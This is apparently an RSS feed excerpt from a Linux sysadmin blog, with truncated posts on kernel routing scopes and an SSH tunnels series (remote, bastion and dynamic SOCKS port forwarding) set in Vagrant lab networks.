a local network segment and are automatically created by the kernel for each connected network.</p><p><strong>Global scope</strong> routes apply to destinations beyond the local system and its directly connected networks. These routes require one or more routers to reach the final destination. The default route is the most common example.</p><p>You can identify global-scope routes with:</p><pre><code><code>$ ip -4 route show scope global table all</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jqr5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jqr5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 424w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 848w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 1272w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jqr5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png" width="1076" height="177" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:177,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41553,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jqr5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 424w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 848w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 1272w, https://substackcdn.com/image/fetch/$s_!jqr5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cb26a48-6c9c-4ce6-bc4b-a9eebb3e0b69_1076x177.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>These routes act as catch-all paths for traffic that does not match any more specific destination.</p><p>Route scopes are not cosmetic labels. They allow the kernel to quickly eliminate routes that cannot possibly apply to a given destination, making route selection faster and more predictable.</p><h2>Routing Tables</h2><p>Linux does not store all routes in a single flat list. Instead, routes are grouped into <strong>routing tables</strong>. Each table represents a separate set of routing decisions that the kernel can consult when processing a packet.</p><p>You may have already noticed this in earlier commands, where we used <code>table all</code> to display routes from every table at once. By default, however, most commands operate on a single table unless told otherwise.</p>
      <p>
          <a href="https://blog.sysxplore.com/p/ep2-networking-in-linux-routing-deep-dive">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 4: SSH Tunnels Deep Dive - SSH as a SOCKS Proxy]]></title><description><![CDATA[By this point, we&#8217;ve already seen how SSH can forward traffic to a specific port or even through another internal host.]]></description><link>https://blog.sysxplore.com/p/part-4-dynamic-port-forwarding</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-4-dynamic-port-forwarding</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Fri, 19 Dec 2025 17:12:58 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/9097fe06-e17b-4bdb-8e1e-195ff0da818d_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>By this point, we&#8217;ve already seen how SSH can forward traffic to a specific port or even through another internal host. Let&#8217;s now look at the last type of SSH tunnel: <strong>dynamic port forwarding</strong>. <strong>Dynamic forwarding</strong> builds on those ideas, but removes the need to decide the destination upfront.</p><p>Instead of forwarding one specific port to one specific service, dynamic port forwarding turns SSH into a local proxy that can carry any <strong>TCP</strong> traffic through the connection. Because of this flexibility, an SSH session using dynamic forwarding can behave almost like a lightweight, <strong>application-level VPN</strong>.</p><p>The idea is simple: SSH opens a <strong>SOCKS5 proxy</strong> on your machine. Any application that knows how to use a SOCKS proxy, web browsers, package managers, command-line tools, can send their traffic into it. SSH then decides where that traffic should go based on the requests coming from the application. It&#8217;s the application, not the tunnel, that chooses the final destination.</p><p>You will often see dynamic port forwarding used for <strong>web browsing</strong>. By routing your browser&#8217;s traffic through an SSH tunnel, you can make it appear as if you&#8217;re browsing from the SSH server&#8217;s network. This is useful for accessing <strong>geo-restricted content</strong>, <strong>bypassing local network filters</strong>, or simply adding an extra layer of <strong>encryption</strong> to your web traffic.</p><p>To see this behavior clearly, we&#8217;ll recreate a situation where normal internet access is blocked and then use dynamic forwarding to work around it.</p><h2>Lab Setup</h2><p>For this scenario, we can reuse our local ssh tunnel lab setup, so we have:</p><ul><li><p>The <strong>client machine</strong> (192.168.60.10) where I&#8217;ll run my SSH command and open the tunnel.</p></li><li><p>The <strong>webserver server</strong> (192.168.60.11 ) that I can connect to via SSH.</p></li></ul><p>Instead of keeping this abstract, the diagram below shows how dynamic port forwarding works end to end, from the local SOCKS proxy to the SSH server and out to the destination requested by the application.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wV9H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wV9H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 424w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 848w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wV9H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:547364,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182094913?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wV9H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 424w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 848w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!wV9H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6340371f-fa2b-4bbf-bb66-c6cbb48263d2_4501x4501.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><blockquote><p><strong>NOTE:</strong></p><p>If you skipped the <a href="https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding">first part</a> or haven&#8217;t set up the lab yet, the <a href="https://github.com/thatstraw/ssh-tunnels-labs">GitHub repository</a> includes the full setup so you can start from here.</p></blockquote><h3><strong>Simulating a Network Restriction</strong></h3><p>But first let&#8217;s do some house cleaning and disable the firewall on the webserver so that we don&#8217;t have any issues when testing the dynamic tunnel.</p><p>This ensures that any failure we see comes from the client side restrictions, not from the SSH server itself. So, on the <strong>webserver</strong> run:</p><pre><code><code>$ sudo ufw disable</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!X9_j!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!X9_j!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 424w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 848w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 1272w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!X9_j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png" width="984" height="156" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:156,&quot;width&quot;:984,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:21341,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182094913?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!X9_j!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 424w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 848w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 1272w, https://substackcdn.com/image/fetch/$s_!X9_j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff778b9ef-3ec3-4f68-808c-9bab65dc8148_984x156.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>With the server ready, we can now introduce the real problem dynamic forwarding is meant to solve.</p><p>Now let&#8217;s pretend that our ISP is blocking access us from accessing websites, so if we try to <code>curl google.com </code>from the client machine, it will fail, to simulate that, we can configure a firewall to block all outgoing http and https traffic on the <strong>client</strong> machine:</p><p></p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-4-dynamic-port-forwarding">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 3: SSH Tunnels Deep Dive - SSH Through Bastion Server]]></title><description><![CDATA[In the last two parts , Local Port Forwarding and Remote Port Forwarding , we covered the two main directions of SSH port forwarding: local and remote.]]></description><link>https://blog.sysxplore.com/p/part-3-ssh-through-bastion-server</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-3-ssh-through-bastion-server</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 06 Dec 2025 14:59:35 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/e479dc77-fad4-4301-a782-03f62c634449_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the last two parts , <a href="https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding">Local Port Forwarding</a> and <a href="https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding">Remote Port Forwarding</a> , we covered the two main directions of SSH port forwarding: local and remote. Those are the ones most people struggle with at first, but once you understand them, everything else falls into place. The next type of SSH tunnel builds on what you already learned about local forwarding, but adds an intermediate step.</p><p>Instead of forwarding traffic directly to the SSH server, we forward it <em>through</em> a machine that sits between you and the actual target. This intermediate machine is commonly known as a <strong>bastion host</strong>.</p><h2>SSH Proxy Tunnel (Forwarding Through an Intermediate Server)</h2><p>So here is how it looks like, one machine is exposed to the outside world, while the internal systems sit protected behind it. For most of the part, you can only reach the bastion host directly. The internal systems are hidden away, inaccessible from the public internet. Since the bastion host has access to those internal systems, it becomes our <strong>gateway into the private network</strong>. So we can make use of ssh local port forwarding to reach those internal systems through the bastion host.</p><p>So here is how it works: you open a local port on your laptop, just like standard local forwarding. But instead of sending that traffic directly to the SSH server, you tell SSH to forward it further into the internal network, to a machine that only the bastion host can reach.</p><p>To make this clearer, here&#8217;s a visual representation of how local port forwarding works when a bastion host sits between you and the internal machine:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!K6ys!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!K6ys!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 424w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 848w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!K6ys!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:621077,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180339261?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!K6ys!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 424w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 848w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!K6ys!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc960ec79-b2ff-4612-8da7-5d3c5b0fbcf8_4501x4501.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Let&#8217;s demonstrate this in the lab.</p><h2>Lab Setup</h2><p>So for this I have setup 3 machines:</p><ul><li><p>The <strong>client machine</strong> (192.168.56.10 ) where I&#8217;ll run my SSH command and open the tunnel.</p></li><li><p>The <strong>bastion host</strong> (192.168.56.11) which I&#8217;ll connect to via SSH.</p></li><li><p>The <strong>internal machine</strong> (192.168.57.11) that I want to reach through the bastion host.</p></li></ul>
      <p>
          <a href="https://blog.sysxplore.com/p/part-3-ssh-through-bastion-server">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 2: SSH Tunnels Deep Dive - Remote Port Forwarding]]></title><description><![CDATA[In the previous part, we walked through local port forwarding and saw how an SSH tunnel can give your machine a private path into a service running on the remote side.]]></description><link>https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Tue, 02 Dec 2025 16:55:21 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/e49cab37-3de9-4d73-88be-d654546729d1_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the previous part, we walked through local port forwarding and saw how an SSH tunnel can give your machine a private path into a service running on the remote side.</p><p>In this part, we&#8217;ll flip the direction. Instead of pulling traffic toward the client, we&#8217;ll look at <strong>remote port forwarding</strong>, where the remote machine opens a port and sends traffic back to your local system. </p><h3><strong>Understanding Remote Port Forwarding</strong></h3><p><strong>Remote port forwarding</strong> works in the opposite direction of local forwarding. Instead of opening a port on your laptop and sending traffic into a remote network, you open a port on the remote machine and send traffic back to your laptop. This is useful when your laptop is running a service that the remote side cannot reach directly, maybe because you&#8217;re behind <strong>NAT</strong>, a <strong>firewall</strong>, or you simply don&#8217;t have a <strong>public IP</strong>.</p><p>A classic example is when you&#8217;re developing a web application locally and want someone else to access it. Take James, for instance. He&#8217;s been building a website on his laptop and wants to show it to his colleague Kay. The problem? James is sitting behind a private network with no public IP, and incoming connections to his laptop are blocked. Kay has no direct way of reaching James&#8217;s machine, and James doesn&#8217;t have the time or desire to deploy the site to a public server just for a quick preview.</p><p>What James can do, however, is spin up a temporary server on the cloud, something both of them can reach, and use <strong>SSH remote port forwarding</strong> to expose his local website through that server. The cloud VM opens a port, and anything sent to that port is quietly tunneled back to James&#8217;s laptop. From Kay&#8217;s perspective, the website looks like it&#8217;s being served from the cloud, even though it&#8217;s actually running on James&#8217;s machine at home. This will make more sense in the lab, so let&#8217;s jump right another lab.</p><h3><strong>Lab Setup</strong></h3><p>So for this I have setup 3 machines:</p><ul><li><p><strong>james-lap</strong> (192.168.70.10) - James&#8217;s laptop where the web application is running locally on port 80.</p></li><li><p><strong>aws-pub-instance</strong> (192.168.70.10 and 192.168.80.20) - A cloud VM that both James and Kay can access. This machine will act as the SSH server for remote port forwarding.</p></li><li><p><strong>kay-pc</strong> (192.168.80.10) - Kay&#8217;s computer from which she wants to access James&#8217;s local web application.</p></li></ul><p>Notice the aws-pub-instance has <strong>two network interfaces</strong>, one connected to James&#8217;s network (192.168.70.0/24) and the other connected to Kay&#8217;s network (<strong>192.168.80.0/24</strong>). This setup allows both James and Kay to reach the aws-pub-instance. Normally, a cloud VM would have a normally single public IP address, but for the sake of this lab, we are simulating the cloud environment using private IPs.</p><blockquote><p><strong>NOTE:</strong></p><p>If you skipped the <a href="https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding">first part</a> or haven&#8217;t set up the lab yet, the <a href="https://github.com/thatstraw/ssh-tunnels-labs">GitHub repository</a> includes the full setup so you can start from here.</p></blockquote><h3><strong>Verifying Connectivity</strong></h3><p>Both kay and james cannot directly reach each other due to network restrictions, but they can both access the aws-pub-instance. which we can confirm by pinging from both sides: From james-lap:</p><pre><code><code>$ vagrant ssh james-lap
$ ping aws-pub-instance
$ ping kay-pc
